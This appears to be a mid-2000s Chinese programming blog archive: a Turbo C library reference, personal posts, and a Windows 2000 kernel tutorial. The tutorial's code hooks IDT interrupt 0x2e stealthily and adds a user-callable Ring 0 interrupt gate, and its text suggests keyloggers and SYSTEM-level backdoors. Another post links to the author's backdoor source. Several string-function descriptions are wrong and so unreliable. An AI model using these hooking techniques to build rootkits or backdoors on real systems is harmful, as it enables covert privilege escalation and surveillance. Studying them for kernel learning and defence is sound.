port为通讯端口,port=0时通讯端口为COM1,port=1时通讯端口为COM2,以此类推
byte为传送或接收数据时的参数,为以下位的组合:
┌───┬─────┬───┬─────┬───┬─────┐
│byte值│意义 │byte值│意义 │byte值│意义 │ │
├───┼─────┼───┼─────┼───┼─────┤
│0x02 │7数据位 │0x03 │8数据位 │0x00 │1停止位 │ │
│0x04 │2停止位 │0x00 │无奇偶性 │0x08 │奇数奇偶性│ │
│0x18 │偶数奇偶性│0x00 │110波特 │0x20 │150波特 │ │
│0x40 │300波特 │0x60 │600波特 │0x80 │1200波特 │ │
│0xA0 │2400波特 │0xC0 │4800波特 │0xE0 │9600波特 │ │
└───┴─────┴───┴─────┴───┴─────┘
例如:0xE0|0x08|0x00|0x03即表示置通讯口为9600波特,奇数奇偶性,1停止位,
8数据位.
函数返回值为一个16位整数,定义如下:
第15位 超时
第14位 传送移位寄存器空
第13位 传送固定寄存器空
第12位 中断检测
第11位 帧错误
第10位 奇偶错误
第 9位 过载运行错误
第 8位 数据就绪
第 7位 接收线信号检测
第 6位 环形指示器
第 5位 数据设置就绪
第 4位 清除发送
第 3位 δ接收线信号检测器
第 2位 下降边环形检测器
第 1位 δ数据设置就绪
第 0位 δ清除发送

int biosdisk(int cmd,int drive,int head,int track,
int sector,int nsects,void *buffer)
本函数用来对驱动器作一定的操作,cmd为功能号,
drive为驱动器号(0=A,1=B,0x80=C,0x81=D,0x82=E等).cmd可为以下值:
0 重置软磁盘系统.这强迫驱动器控制器来执行硬复位.忽略所有其它参数.
1 返回最后的硬盘操作状态.忽略所有其它参数
2 读一个或多个磁盘扇区到内存.读开始的扇区由head、track、sector给出。
扇区号由nsects给出。把每个扇区512个字节的数据读入buffer
3 从内存读数据写到一个或多个扇区。写开始的扇区由head、track、sector
给出。扇区号由nsects给出。所写数据在buffer中,每扇区512个字节。
4 检验一个或多个扇区。开始扇区由head、track、sector给出。扇区号由
nsects给出。
5 格式化一个磁道,该磁道由head和track给出。buffer指向写在指定track上
的扇区磁头器的一个表。
以下cmd值只允许用于XT或AT微机:
6 格式化一个磁道,并置坏扇区标志。
7 格式化指定磁道上的驱动器开头。
8 返回当前驱动器参数,驱动器信息返回写在buffer中(以四个字节表示)。
9 初始化一对驱动器特性。
10 执行一个长的读,每个扇区读512加4个额外字节
11 执行一个长的写,每个扇区写512加4个额外字节
12 执行一个磁盘查找
13 交替磁盘复位
14 读扇区缓冲区
15 写扇区缓冲区
16 检查指定的驱动器是否就绪
17 复核驱动器
18 控制器RAM诊断
19 驱动器诊断
20 控制器内部诊
函数返回由下列位组合成的状态字节:
0x00 操作成功
0x01 坏的命令
0x02 地址标记找不到
0x04 记录找不到
0x05 重置失败
0x07 驱动参数活动失败
0x09 企图DMA经过64K界限
0x0B 检查坏的磁盘标记
0x10 坏的ECC在磁盘上读
0x11 ECC校正的数据错误(注意它不是错误)
0x20 控制器失效
0x40 查找失败
0x80 响应的连接失败
0xBB 出现无定义错误
0xFF 读出操作失败

int biodquip() 检查设备,函数返回一字节,该字节每一位表示一个信息,如下:
第15位 打印机号
第14位 打印机号
第13位 未使用
第12位 连接游戏I/O
第11位 RS232端口号
第 8位 未使用
第 7位 软磁盘号
第 6位 软磁盘号,
00为1号驱动器,01为2号驱动器,10为3号驱动器,11为4号驱动器
第 5位 初始化
第 4位 显示器模式
00为未使用,01为40x25BW彩色显示卡
10为80x25BW彩色显示卡,11为80x25BW单色显示卡
第 3位 母扦件
第 2位 随机存贮器容量,00为16K,01为32K,10为48K,11为64K
第 1位 浮点共用处理器
第 0位 从软磁盘引导

int bioskey(int cmd)本函数用来执行各种键盘操作,由cmd确定操作。
cmd可为以下值:
0 返回敲键盘上的下一个键。若低8位为非0,即为ASCII字符;若低8位为0,
则返回扩充了的键盘代码。
1 测试键盘是否可用于读。返回0表示没有键可用;否则返回下一次敲键之值。
敲键本身一直保持由下次调用具的cmd值为0的bioskey所返回的值。
2 返回当前的键盘状态,由返回整数的每一个位表示,见下表:
┌──┬───────────┬───────────┐
│ 位 │为0时意义 │为1时意义 │
├──┼───────────┼───────────┤
│ 7 │插入状态 │改写状态 │
│ 6 │大写状态 │小写状态 │
│ 5 │数字状态,NumLock灯亮 │光标状态,NumLock灯熄 │
│ 4 │ScrollLock灯亮 │ScrollLock灯熄 │
│ 3 │Alt按下 │Alt未按下 │
│ 2 │Ctrl按下 │Ctrl未按下 │
│ 1 │左Shift按下 │左Shift未按下 │
│ 0 │右Shift按下 │右Shift未按下 │
└──┴───────────┴───────────┘
int biosmemory()返回内存大小,以K为单位.
int biosprint(int cmd,int byte,int port)控制打印机的输入/输出.
port为打印机号,0为LPT1,1为LPT2,2为LPT3等
cmd可以为以下值:
0 打印字符,将字符byte送到打印机
1 打印机端口初始化
2 读打印机状态
函数返回值由以下位值组成表示当前打印机状态
0x01 设备时间超时
0x08 输入/输出错误
0x10 选择的
0x20 走纸
0x40 认可
0x80 不忙碌

int biostime(int cmd,long newtime)计时器控制,cmd为功能号,可为以下值
0 函数返回计时器的当前值
1 将计时器设为新值newtime

struct country *country(int countrycmode,struct country *countryp)
本函数用来控制某一国家的相关信息,如日期,时间,货币等.
若countryp=-1时,当前的国家置为countrycode值(必须为非0).否则,由countryp
所指向的country结构用下列的国家相关信息填充:
(1)当前的国家(若countrycode为0或2)由countrycode所给定的国家.
结构country定义如下:
┌────────────────────┐
│struct country │
│{ │
│ int co_date; /*日期格式*/ │
│ char co_curr[5]; /*货币符号*/ │
│ char co_thsep[2]; /*数字分隔符*/ │
│ char co_desep[2]; /*小数点*/ │
│ char co_dtsep[2]; /*日期分隔符*/ │
│ char co_tmsep[2]; /*时间分隔符*/ │
│ char co_currstyle; /*货币形式*/ │
│ char co_digits; /*有效数字*/ │
│ int (far *co_case)(); /*事件处理函数*/ │
│ char co_dasep; /*数据分隔符*/ │
│ char co_fill[10]; /*补充字符*/ │
│} │
└────────────────────┘
co_date的值所代表的日期格式是:
0 月日年 1 日月年 2 年月日
co_currstrle的值所代表的货币显示方式是
0 货币符号在数值前,中间无空格
1 货币符号在数值后,中间无空格
2 货币符号在数值前,中间有空格
3 货币符号在数值后,中间有空格

操作函数,所在函数库为string.h、mem.h
mem…操作存贮数组
void *memccpy(void *destin,void *source,unsigned char ch,unsigned n)
void *memchr(void *s,char ch,unsigned n)
void *memcmp(void *s1,void *s2,unsigned n)
int memicmp(void *s1,void *s2,unsigned n)
void *memmove(void *destin,void *source,unsigned n)
void *memcpy(void *destin,void *source,unsigned n)
void *memset(void *s,char ch,unsigned n)
这些函数,mem…系列的所有成员均操作存贮数组.在所有这些函数中,数组是n字节长.
memcpy从source复制一个n字节的块到destin.如果源块和目标块重迭,则选择复制方向,
以例正确地复制覆盖的字节.
memmove与memcpy相同.
memset将s的所有字节置于字节ch中.s数组的长度由n给出.
memcmp比较正好是n字节长的两个字符串s1和s2.些函数按无符号字符比较字节,因此,
memcmp("0xFF","\x7F",1)返回值大于0.
memicmp比较s1和s2的前n个字节,不管字符大写或小写.
memccpy从source复制字节到destin.复制一结束就发生下列任一情况:
(1)字符ch首选复制到destin.
(2)n个字节已复制到destin.
memchr对字符ch检索s数组的前n个字节.
返回值:memmove和memcpy返回destin
memset返回s的值
memcmp和memicmp─┬─若s1<s2返回值小于0
├─若s1=s2返回值等于0
└─若s1>s2返回值大于0
memccpy若复制了ch,则返回直接跟随ch的在destin中的字节的一个指针;
否则返回NULL
memchr返回在s中首先出现ch的一个指针;如果在s数组中不出现ch,就返回NULL.

void movedata(int segsrc,int offsrc,
int segdest,int offdest,
unsigned numbytes)
本函数将源地址(segsrc:offsrc)处的numbytes个字节
复制到目标地址(segdest:offdest)
void movemem(void *source,void *destin,unsigned len)
本函数从source处复制一块长len字节的数据到destin.若源地址和目标地址字符串
重迭,则选择复制方向,以便正确的复制数据.
void setmem(void *addr,int len,char value)
本函数把addr所指的块的第一个字节置于字节value中.

str…字符串操作函数
char stpcpy(char *dest,const char *src)
将字符串src复制到dest
char strcat(char *dest,const char *src)
将字符串src添加到dest末尾
char strchr(const char *s,int c)
检索并返回字符c在字符串s中第一次出现的位置
int strcmp(const char *s1,const char *s2)
比较字符串s1与s2的大小,并返回s1-s2
char strcpy(char *dest,const char *src)
将字符串src复制到dest
size_t strcspn(const char *s1,const char *s2)
扫描s1,返回在s1中有,在s2中也有的字符个数
char strdup(const char *s)
将字符串s复制到最近建立的单元
int stricmp(const char *s1,const char *s2)
比较字符串s1和s2,并返回s1-s2
size_t strlen(const char *s)
返回字符串s的长度
char strlwr(char *s)
将字符串s中的大写字母全部转换成小写字母,并返回转换后的字符串
char strncat(char *dest,const char *src,size_t maxlen)
将字符串src中最多maxlen个字符复制到字符串dest中
int strncmp(const char *s1,const char *s2,size_t maxlen)
比较字符串s1与s2中的前maxlen个字符
char strncpy(char *dest,const char *src,size_t maxlen)
复制src中的前maxlen个字符到dest中
int strnicmp(const char *s1,const char *s2,size_t maxlen)
比较字符串s1与s2中的前maxlen个字符
char strnset(char *s,int ch,size_t n)
将字符串s的前n个字符置于ch中
char strpbrk(const char *s1,const char *s2)
扫描字符串s1,并返回在s1和s2中均有的字符个数
char strrchr(const char *s,int c)
扫描最后出现一个给定字符c的一个字符串s
char strrev(char *s)
将字符串s中的字符全部颠倒顺序重新排列,并返回排列后的字符串
char strset(char *s,int ch)
将一个字符串s中的所有字符置于一个给定的字符ch
size_t strspn(const char *s1,const char *s2)
扫描字符串s1,并返回在s1和s2中均有的字符个数
char strstr(const char *s1,const char *s2)
扫描字符串s2,并返回第一次出现s1的位置
char strtok(char *s1,const char *s2)
检索字符串s1,该字符串s1是由字符串s2中定义的定界符所分隔
char strupr(char *s)
将字符串s中的小写字母全部转换成大写字母,并返回转换后的字符串

存贮分配子程序,所在函数库为dos.h、alloc.h、malloc.h、stdlib.h、process.h
int allocmem(unsigned size,unsigned *seg)利用DOS分配空闲的内存,
size为分配内存大小,seg为分配后的内存指针
int freemem(unsigned seg)释放先前由allocmem分配的内存,seg为指定的内存指针
int setblock(int seg,int newsize)本函数用来修改所分配的内存长度,
seg为已分配内存的内存指针,newsize为新的长度

int brk(void *endds)
本函数用来改变分配给调用程序的数据段的空间数量,新的空间结束地址为endds
char *sbrk(int incr)
本函数用来增加分配给调用程序的数据段的空间数量,增加incr个字节的空间

unsigned long coreleft() 本函数返回未用的存储区的长度,以字节为单位
void *calloc(unsigned nelem,unsigned elsize)分配nelem个长度为elsize的内存空间
并返回所分配内存的指针
void *malloc(unsigned size)分配size个字节的内存空间,并返回所分配内存的指针
void free(void *ptr)释放先前所分配的内存,所要释放的内存的指针为ptr
void *realloc(void *ptr,unsigned newsize)改变已分配内存的大小,ptr为已分配有内
存区域的指针,newsize为新的长度,返回分配好的内存指针.

long farcoreleft() 本函数返回远堆中未用的存储区的长度,以字节为单位
void far *farcalloc(unsigned long units,unsigned long unitsz)
从远堆分配units个长度为unitsz的内存空间,并返回所分配内存的指针
void *farmalloc(unsigned long size)分配size个字节的内存空间,
并返回分配的内存指针
void farfree(void far *block)释放先前从远堆分配的内存空间,
所要释放的远堆内存的指针为block
void far *farrealloc(void far *block,unsigned long newsize)改变已分配的远堆内
存的大小,block为已分配有内存区域的指针,newzie为新的长度,返回分配好
的内存指针

时间日期函数,函数库为time.h、dos.h
在时间日期函数里,主要用到的结构有以下几个:
总时间日期贮存结构tm
┌──────────────────────┐
│struct tm │
│{ │
│ int tm_sec; /*秒,0-59*/ │
│ int tm_min; /*分,0-59*/ │
│ int tm_hour; /*时,0-23*/ │
│ int tm_mday; /*天数,1-31*/ │
│ int tm_mon; /*月数,0-11*/ │
│ int tm_year; /*自1900的年数*/ │
│ int tm_wday; /*自星期日的天数0-6*/ │
│ int tm_yday; /*自1月1日起的天数,0-365*/ │
│ int tm_isdst; /*是否采用夏时制,采用为正数*/│
│} │
└──────────────────────┘
日期贮存结构date
┌───────────────┐
│struct date │
│{ │
│ int da_year; /*自1900的年数*/│
│ char da_day; /*天数*/ │
│ char da_mon; /*月数 1=Jan*/ │
│} │
└───────────────┘
时间贮存结构time
┌────────────────┐
│struct time │
│{ │
│ unsigned char ti_min; /*分钟*/│
│ unsigned char ti_hour; /*小时*/│
│ unsigned char ti_hund; │
│ unsigned char ti_sec; /*秒*/ │
│ │
└────────────────┘
char *ctime(long *clock)
本函数把clock所指的时间(如由函数time返回的时间)转换成下列格式的
字符串:Mon Nov 21 11:31:54 1983\n\0
char *asctime(struct tm *tm)
本函数把指定的tm结构类的时间转换成下列格式的字符串:
Mon Nov 21 11:31:54 1983\n\0
double difftime(time_t time2,time_t time1)
计算结构time2和time1之间的时间差距(以秒为单位)
struct tm *gmtime(long *clock)本函数把clock所指的时间(如由函数time返回的时间)
转换成格林威治时间,并以tm结构形式返回
struct tm *localtime(long *clock)本函数把clock所指的时间(如函数time返回的时间)
转换成当地标准时间,并以tm结构形式返回
void tzset()本函数提供了对UNIX操作系统的兼容性
long dostounix(struct date *dateptr,struct time *timeptr)
本函数将dateptr所指的日期,timeptr所指的时间转换成UNIX格式,并返回
自格林威治时间1970年1月1日凌晨起到现在的秒数
void unixtodos(long utime,struct date *dateptr,struct time *timeptr)
本函数将自格林威治时间1970年1月1日凌晨起到现在的秒数utime转换成
DOS格式并保存于用户所指的结构dateptr和timeptr中
void getdate(struct date *dateblk)本函数将计算机内的日期写入结构dateblk
中以供用户使用
void setdate(struct date *dateblk)本函数将计算机内的日期改成
由结构dateblk所指定的日期
void gettime(struct time *timep)本函数将计算机内的时间写入结构timep中,
以供用户使用
void settime(struct time *timep)本函数将计算机内的时间改为
由结构timep所指的时间
long time(long *tloc)本函数给出自格林威治时间1970年1月1日凌晨至现在所经
过的秒数,并将该值存于tloc所指的单元中.
int stime(long *tp)本函数将tp所指的时间(例如由time所返回的时间)
写入计算机中.

2005年02月09日

过年啦~
希望自己和亲人鸡年好运,身体健康.
也祝大家也新年快乐,好运,恭喜华财.
哈哈哈哈

2005年02月06日

今天我们谈谈Windows
2000下中断机制的扩展,首先申明本文提到的技术并非本人发现的,只不过是我在学习Windows内核过程中的一点心得罢了,目的在于为和我一样刚刚步入Windows底层学习的朋友提供一点实用的资料,同时也顺带记录下自己的学习过程。如果您是Windows
Kernel高手,还望有时间能多多指点一下我们这些晚辈;如果您也是初学者,同样欢迎到我们FZ5FZ网站来交流探讨!那好吧,我们就直接进入正题,如果您对中断还不怎么了解,那眼前将是一次激动人心的旅程。

1> Windows陷阱机制简介

陷阱(Trap)是Windows系统中一种不可缺少的系统机制。当系统中发生中断(硬件中断或软件中断),异常时,处理器会捕捉这个动作,并将系统的控制转移到一个固定的处理程序处,进行相应的操作处理。在处理器开始处理发生的中断或异常前,必须保存一些处理器环境参数到堆栈中以备系统还原时使用。系统是通过一种称为陷阱帧(Trap
Frame)的方式来实现的,它将系统中全部线程的环境数据保存到内核堆栈(Kernel
Stack)中,在执行完后通过堆栈的出栈机制来恢复系统控制流程中的执行点。内核中的陷阱机制分为中断和异常。中断是系统中随即发生的异步事件,与当前系统的处理器状态无关。同时系统中的中断可分为可屏蔽中断和不可屏蔽中断。而异常则是一种同步事件,在特定情况下异常可以重现,而中断不可以。中断又可以分为硬件中断和软件中断。很明显硬件中断是与硬件相关的,比如I/O设备执行的某些操作,处理器时钟或硬件端口上的处理等。软件中断则是通过中断指令int
xx引入的,它往往是应用程序在用户模式执行后进入操作系统的代码,这时系统为用户提供了各种各样的系统服务。比如我们上次提到的系统服务调用(System
Service Call),在Windows NT/2000下就是通过软件中断int 0×2e(System Service
Interrupt)来实现的,虽然在Windows
XP/2003下微软使用了一种称为“快速系统调用接口”来为用户提供系统服务,不过大量的中断服务仍然存在与系统之中的。

2> 中断处理及其相关流程

此处我们讨论的是与特定处理器相关的数据结构,所以会有一些移植方面的问题,本文仅针对Intel的x86
Family处理器,并且本文附带的程序也只支持在Intel x86处理器上正常执行。何为IDT?IDT(Interrupt Descriptor
Table)称为中断描述符表。它是可容纳8192个单元的数组,数组中的每个成员是称之为“门”的长度为8字节的段描述符。在IDT中门可分为三种:中断门(Interrrupt
Gate),陷阱门(Trap Gate)和任务门(Task
Gate),但主要的是中断门和陷阱门。而它们两者之间也只有少许差别,我们在此只关心IDT中的中断门,如果您对这方面比较感兴趣,请查阅Intel处理器的相关文档《Intel
Architecture Software Developer’s Manual,Volume
3》。同时,在系统中存在一个中断描述符表寄存器(IDTR),它包含了系统中断描述符表的基地址和IDT的限制信息,它于一条汇编指令sidt息息相关。在下文中我们将看到它是我们实现各种中断描述符表扩展的基础和关键!还有一点是需要注意的,在Windows系统中引入了分页,分段和虚拟存储机制后,就存在这一种调度机制,将需要执行的代码和数据调入内存,将不需要的数据调到外存(辅助存储器,如硬盘等)。如果我们在执行某些代码时发现了我们需要的数据不在内存中时,就会发出一个“缺页中断”,这时系统就会在IDT中搜寻这个中断的ISR(Interrupt
Service
Routine,中断服务例程),执行相应的调入工作。大家可以想象如果我们的中断描述符表被调出到外存后会是什么样的结果?那时系统将无法定位“缺页中断”的服务例程,至此系统将会崩溃掉!

在中断描述符表中,我们刚才提到了一个感兴趣的寄存器IDTR,当然我们更关心对我们来说更直接的数据:IDT中的代码段选择器(Code Segment
Selector),中断执行代码的偏移量(Offset)和中断描述符的权限等级(Descriptor Privilege
Level)参数。下面我们看看中断指令的执行流程,我们应该知道应用程序执行在用户模式(Ring 3)下,而中断描述符表则是存在于内核模式(Ring
0)才可以访问的系统地址空间内的。在软件中断发生后,也就是应用程序调用了某条软件中断指令后,处理器首先在IDT中检索传入的中断号参数,找到响应的入口单元后就检查中断门的权限等级参数,看是否允许Ring
3下的应用程序调用,这样操作系统就为我们保留了对软件中断调用控制的权力,然而硬件中断和异常是不会关注权限方面的信息。如果当前权限等级(Current
Privilge Level,CPL)数值大于中断门描述符需要的权限(Descriptor Privilege
Level),也就是权限不够时会引发一个通用保护故障(General Protection
Fault),反之则进行处理器的切换从用户堆栈到内核堆栈。现在是保存线程环境的时候了,处理器将在用户模式下的堆栈指针(SS:ESP)和标准的中断帧(EFLAGS和CS:EIP)压入堆栈。之后处理器进入我们的中断服务例程,执行相关的代码处理后通过汇编指令iretd返回到调用的应用程序。在指令iretd执行时,系统将存储在堆栈中的线程环境数据出栈还原,待系统恢复中断指令执行前的环境后就接着执行应用程序的后续代码。

3> 中断相关数据结构

首先我们介绍一下前面我们提到的一条关键汇编指令sidt的相关数据结构。在执行指令sidt后,系统将会把中断描述符表的基地址和限制(总共长六字节)保存在指令中指向的变量指针中,这就是我们进行IDT操作的入门口。

typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;

//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;

当我们获得了IDT的入口后,就会在中断描述符表中检索我们需要处理的中断号对应的IDT单元,单元中包含了很多我们需要注意的数据结构,其中我们最为关心的是代码段选择器,中断代码执行的偏移量和特权等级等,那好我们先给出它的定义,在下文中我们将详细讨论它们的具体应用。

typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short
OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;

unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char
Type:4;
//段标识位;
unsigned char SegmentFlag:1;

//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned
char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;

}IDTENTRY,*PIDTENTRY;

4> 创建软件中断钩子的作用

作为普通的Windows程序员,或许您需要的是熟悉对系统基本功能的操作,以及对通用程序开发的熟练掌握。但对于一个有想法的Windows内核级分析开发人员来说,对系统底层的深入了解是非常必要的,同时也是非常重要的。Hook为我们创造了一个绝好的机会,它使我们了解系统内部运行机制的想法成为了一种可能。同时,书写一个系统相关的监视程序可以自动的对系统内部操作进行记录与分析。当然我们不能局限于对系统的了解,我们更渴望实施对系统的修改与扩展,改变系统原有的操作特性,注入我们需要的功能组件,让系统做更适合我们自己,也是我们最希望看到的操作。前面我们曾经谈到了创建系统服务调用的钩子来截获系统服务调用,同样在Windows2000下,系统服务是通过系统服务中断(System
Service Interrupt,int
0×2e)来实现的,通过截获软件中断同样可以达到监视并修改系统服务调用的功能。在此我们主要讨论的是为软件中断创建钩子,不过对于硬件中断和异常也同样不例外,我们同样可以将本文提到的方法应用于硬件中断和异常。比如我们也可以通过截获键盘驱动的中断调用来书写内核级的键盘记录器,它可以直接对每次击键和释放进行操作,效果是非常的明显,不过这还需要使用到一些微软为我们提供的与硬件中断钩子相关的函数。

5> 如何创建软件中断钩子?

其实创建软件中断钩子的过程应该是比较明显了,下面我们将先简要介绍一下创建Hook的过程,然后以实际代码进行具体的讲解。首先我们通过汇编指令sidt(sidt:
Store Interrupt Descriptor Table Register;lidt: Load Interrupt Descriptor Table
Register)来获取IDT的基地址IDTBase,然后我们在中断描述符表中搜寻我们需要HOOK的中断号HOOKINTID,它应该是在0-255内的一个整数,虽然最新的Intel处理器声称支持8192个中断描述符单元,但由于某些限制原因,仍然只能处理前256个中断描述门。在找到我们需要Hook的中断描述门后,将它原本的中断执行代码偏移量(32位)保存到一个全局变量OldISR中,以备我们在执行中断处理或恢复IDT时使用。这样新的IDT中对应中断号的执行代码偏移量就指向了我们自己的处理代码了。在我们的处理代码NewISR中,注意先要保存一些线程环境,在处理完我们额外添加的执行程序(Monitor,监视注册表相关的16个系统服务调用)后,恢复现场并执行中断门以前指向的程序代码。这样,对外就看不出我们对中断门做了什么额外的处理,感觉和以前没什么两样!如果我们只是处理了我们添加的代码而没有继续执行中断门对应的以前的程序代码,那么系统必将混乱甚至崩溃!同样在我们卸载我们的软件中断钩子时,就是进行了一个逆向工作。先获取IDT的基地址,然后将保存在全局变量中的旧的执行代码地址偏移量赋给对应中断号的偏移量单元(OffsetLow/OffsetHigh)。大概过程讲得差不多了,相关程序为T-HookInt,我们再看看代码吧!

VOID
HookInt(VOID)
{
//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;

//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr;

//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR = ((unsigned
int)IdtEntry[HOOKINTID].OffsetHigh << 16) |
(IdtEntry[HOOKINTID].OffsetLow);

//关中断
__asm cli
//更新执行代码偏移量的底16位;
IdtEntry[HOOKINTID].OffsetLow =
(unsigned short)NewISR;
//更新执行代码偏移量的高16位;
IdtEntry[HOOKINTID].OffsetHigh
= (unsigned short)((unsigned int)NewISR >> 16);
//开中断
__asm sti;

}

VOID
UnhookInt(VOID)
{
IDTR idtr;
PIDTENTRY IdtEntry;

__asm sidt idtr;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

__asm cli
//恢复中断号HOOKINTID对应中断门执行代码偏移量的底16位;

IdtEntry[HOOKINTID].OffsetLow = (unsigned short)OldISR;

//恢复中断号HOOKINTID对应中断门执行代码偏移量的高16位;
IdtEntry[HOOKINTID].OffsetHigh =
(unsigned short)((unsigned int)OldISR >> 16);
__asm sti;

}

VOID
__fastcall
Monitor()
{
……
//由于我们处理的中断号为0×2e,

//对应于系统服务中断(System Service Interrupt),
//通过获取eax寄存器中的数值来区分系统服务调用;

__asm mov dwServiceId,eax;

//执行内核函数获取当前进程的ID号;
dwProcessId = (unsigned int)PsGetCurrentProcessId();


//提升当前IRQL,防止被中断;
KeRaiseIrql(HIGH_LEVEL,&OldIrql);

switch(dwServiceId)
{
//如果eax对应的数值为0×23,

//则对应于Windows2000的ZwCreateKey系统服务调用;
case 0×23:
DbgPrint(“ProcessId:
%d ZwCreateKey\n”,dwProcessId);
break;
……
default:
break;
}

//恢复原始IRQL;
KeLowerIrql(OldIrql);
}

6> 添加软件中断的作用与原理

通过添加软件中断,我们可以扩展系统的功能,改变系统的很多操作行为。在前面我们介绍过为系统添加新的系统服务调用来扩展系统,通过添加新的软件中断同样可以到达添加系统服务调用的目的,并且我们可以在新添的中断处理程序中执行Ring
0级别的任意代码,那是何等的让人欣慰!

其实在IDT中,256个中断门单元并不是被完全利用的,还剩下一些流给将来扩展使用的中断门,我们可以自己给这些未使用的中断门添加一些机制为我所用。其实添加软件中断的过程和前面我们详细讲解的添加软件中断钩子有很多相似的地方,所以在此我就不做很详细的介绍了。同样是,首先获得IDT的基地址,然后在中断描述符表中查找我们将要添加的中断号对应的中断门描述符,之后给相关的参数赋值,使其成为名副其实的软件中断门。这时我们就可以在应用程序中使用中断指令int
xx来调用我们自己中断门中的服务程序了。

7> 添加软件中断的实现过程

相关程序为T-ADDIG(Add Interrupt Gate),我们来看看代码哈~

NTSTATUS
InstallIG()
{
……

//判断我们想要添加的中断是否已被占用;
if(IdtEntry[ADDINTID].OffsetLow != 0
||
IdtEntry[ADDINTID].OffsetHigh != 0)
{
return STATUS_UNSUCCESSFUL;
}

//复制原始的中断门描述信息;

RtlCopyMemory(&OldIdtEntry,&IdtEntry[ADDINTID],sizeof(OldIdtEntry));

//关中断
__asm cli

//更新执行代码偏移量的底16位;

IdtEntry[ADDINTID].OffsetLow = (unsigned short)InterruptServiceRoutine;

//目的代码段的段选择器,CS为8;
IdtEntry[ADDINTID].Selector = 8;
//保留位,始终为零;

IdtEntry[ADDINTID].Reserved = 0;
//门类型,0xe代表中断门;

IdtEntry[ADDINTID].Type = 0xe;
//SegmentFlag设置0代码为段;

IdtEntry[ADDINTID].SegmentFlag = 0;
//描述符权限等级为3,允许用户模式程序调用本中断;

IdtEntry[ADDINTID].DPL = 3;
//呈现标志位,设置为一;
IdtEntry[ADDINTID].Present
= 1;
//更新执行代码偏移量的高16位;
IdtEntry[ADDINTID].OffsetHigh = (unsigned
short)((unsigned int)InterruptServiceRoutine >> 16);

//开中断
__asm sti

return STATUS_SUCCESS;
}

VOID
RemoveIG()
{
……
__asm cli
//恢复我们修改过的中断门描述符;

RtlCopyMemory(&IdtEntry[ADDINTID],&OldIdtEntry,sizeof(OldIdtEntry));

__asm sti
}

extern
void
_cdecl
InterruptServiceRoutine(VOID)
{

unsigned int Command;
//获取eax寄存器中的数值,接受从用户模式传入的命令参数;
__asm mov
Command,eax;
//执行内核代码,获取操作系统版本号;
DbgPrint(“NtBuildNumber ==
%d\n”,(unsigned short)NtBuildNumber);
//中断返回;
__asm iretd;
}

后记

写到这儿,我们只是介绍了扩展IDT的一些基本方法,当然还有很多更深入的,更值得我们研究的课题需要大家努力去探索。比如我们可以将T-HookInt扩展,不仅仅是监视系统注册表操作相关的系统服务调用,不过在Windows
XP/2003上由于其内在机制的一些变更,所以通过Hook int
0×2e来截获系统服务调用就不这么现实了。当然还有基于IDT的内核级后门,可以通过添加新的软件中断为任意用户提供SYSTEM权限级别的Command等。总之,探究Windows内核奥秘的旅行还未结束,或许这只能算是一次起航罢了。

附录:

由于本文相关的源代码比较多,所以在此就不帖了,欢迎有兴趣的朋友到我们主页下载,谢谢~

2005年01月14日

多媒体考试又挂了。

郁闷44分。死死还是。本来下学期还想离开学校。不知道这下会不会有引响。

太太太郁闷了。

2005年01月13日

针对C/S都是ADSL动态IP用户的,一个很简单的小后门。
今天翻硬盘,发现了半年前的这个东西,技术都是一些比较过时的。虽然写得比较垃圾,还是公布源代码。希望对初学者有些帮助,嘿嘿高手就不用下了,占硬盘的空间。
---Share And Free。

下载:

http://www.xfocus.net/tools/200501/AdminChick-BackDoor.MicroCQ.10-src.rar

2005年01月11日

毕业设计课题下来了,本来选的windows底层分析,谁知道被调配去了做什么 Basic语言编译器 什么的哦。哎,和自己的发展方向,和爱好完全牛头不对马嘴。想不通,为什么学校就不稍微尊重以下学生自己的选择呀?连通知都没一个,就给调配了。真的想不通。看来又得完全靠自己了。

一个扫描速度相当快的端口扫描器,在1.0的基础上加入了一些新的功能,包括IP的导入导出等,高级扫描速度更快。

下载地址:

http://www.xfocus.net/tools/200401/LScanPort2.0beta版.rar

2004年12月19日

从IRQ到IRQL(PIC版)
SoBeIt

这个题目让我想起了小时候学的课文《从百草园到三味书屋》,然后就想起了以前无忧无虑的快乐时光,这是上了大学以后所不再有的,有时常常叹息过去的美好日子不会再有了。sigh~扯远了。

本文所有的东西都不涉及APIC。先来介绍一下名词,免得有些哥们看晕了:)

PIC:Programmed Interrupt Controller,可编程中断控制器,是一块芯片,里面包含了中断请求寄存器、中断在服务寄存器、中断屏蔽寄存器等很多寄存器,用来控制中断。一般我们的电脑里都是用的8259A中断控制器芯片,共有两块,一主一从,每块负责8个中断请求信号线,主的负责IRQ0-IRQ7,从的负责IRQ8-IRQ15。
APIC:Advance Programmed Interrupt Controller,高级可编程中断控制器,用与多处理器,因为它支持100多个以上的中断向量,所以不是用固定映射的方法,而是通过一定算法映射。
IRQ:Interrupt ReQuest,中断请求,当中断发生后,发生中断的设备通过它使用的中断请求信号线象中断控制器报告中断。CPU可以通过IRQ号来识别中断。
IRQL:Interrupt ReQuest Level,中断请求优先级,一个由windows虚拟出来的概念,划分在windows下中断的优先级,这里中断包括了硬中断和软中断,硬中断是由硬件产生,而软中断则是完全虚拟出来的。
假中断:Spurious Interrupt,当中断发生时中断控制器相关在服务位并未置位。windows也把IRQL低于当前IRQL的中断当作假中断来处理。

